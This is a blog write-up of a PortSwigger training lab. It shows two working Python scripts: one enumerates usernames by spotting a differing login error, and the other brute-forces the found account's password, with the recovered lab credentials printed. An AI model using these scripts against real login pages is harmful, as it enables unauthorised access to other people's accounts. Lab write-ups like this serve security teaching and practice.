Username enumeration via different responses | Dec 21, 2022
Introduction
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Username enumeration via different responses! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★☆☆☆☆☆☆☆☆☆
Background
This lab is vulnerable to username enumeration and password brute-force attacks. It has an account with a predictable username and password, which can be found in the following wordlists:
To solve the lab, enumerate a valid username, brute-force this user’s password, then access their account page.
Exploitation
Home page:
Login page:
Let’s try a username:
As you can see, when we input a wrong username, it has an error: Invalid username
.
Armed with that information, we can enumerate all usernames via a list of username.
To do so, I’ll write a python script:
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep
def fetchUsername(filename):
listUsername = list()
with open(filename) as fd:
for line in fd:
listUsername.append(line.strip())
return listUsername
def sendRequest(url, cookie, username):
loginData = {
'username': username,
'password': 'anything'
}
loginRequestText = requests.post(url, cookies=cookie, data=loginData).text
if 'Invalid username' not in loginRequestText:
print(f'[+] Found user: {username}')
def main():
url = 'https://0a8400030305e48fc1f053e7000a00e9.web-security-academy.net/login'
cookie = {'session': 'TJrmhzUBietntmaad88AmJSOn8rzuPU5'}
userFileName = './auth_username.txt'
listUsername = fetchUsername(userFileName)
for username in listUsername:
thread = Thread(target=sendRequest, args=(url, cookie, username))
thread.start()
sleep(0.2)
if __name__ == '__main__':
main()
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# python3 enum_username.py
[+] Found user: al
- Found user
al
.
Next, we need to brute force that account’s password.
But first, let’s try to type an invalid password:
Again, we can do the same thing via python:
#!/usr/bin/env python3
import requests
from threading import Thread
from time import sleep
def fetchPassword(filename):
listPassword = list()
with open(filename) as fd:
for line in fd:
listPassword.append(line.strip())
return listPassword
def sendRequest(url, cookie, password):
loginData = {
'username': 'al',
'password': password
}
loginRequestText = requests.post(url, cookies=cookie, data=loginData).text
if 'Incorrect password' not in loginRequestText:
print(f'[+] Found password: {password}')
def main():
url = 'https://0a8400030305e48fc1f053e7000a00e9.web-security-academy.net/login'
cookie = {'session': 'TJrmhzUBietntmaad88AmJSOn8rzuPU5'}
passwordFileName = './auth_password.txt'
listPassword = fetchPassword(passwordFileName)
for password in listPassword:
thread = Thread(target=sendRequest, args=(url, cookie, password))
thread.start()
sleep(0.2)
if __name__ == '__main__':
main()
┌──(root🌸siunam)-[~/ctf/Portswigger-Labs/Authentication]
└─# python3 enum_password.py
[+] Found password: qwertyuiop
- Found user
al
’s password:qwertyuiop
.
Let’s login as that user!
We’re user al
!
What we’ve learned:
- Username enumeration via different responses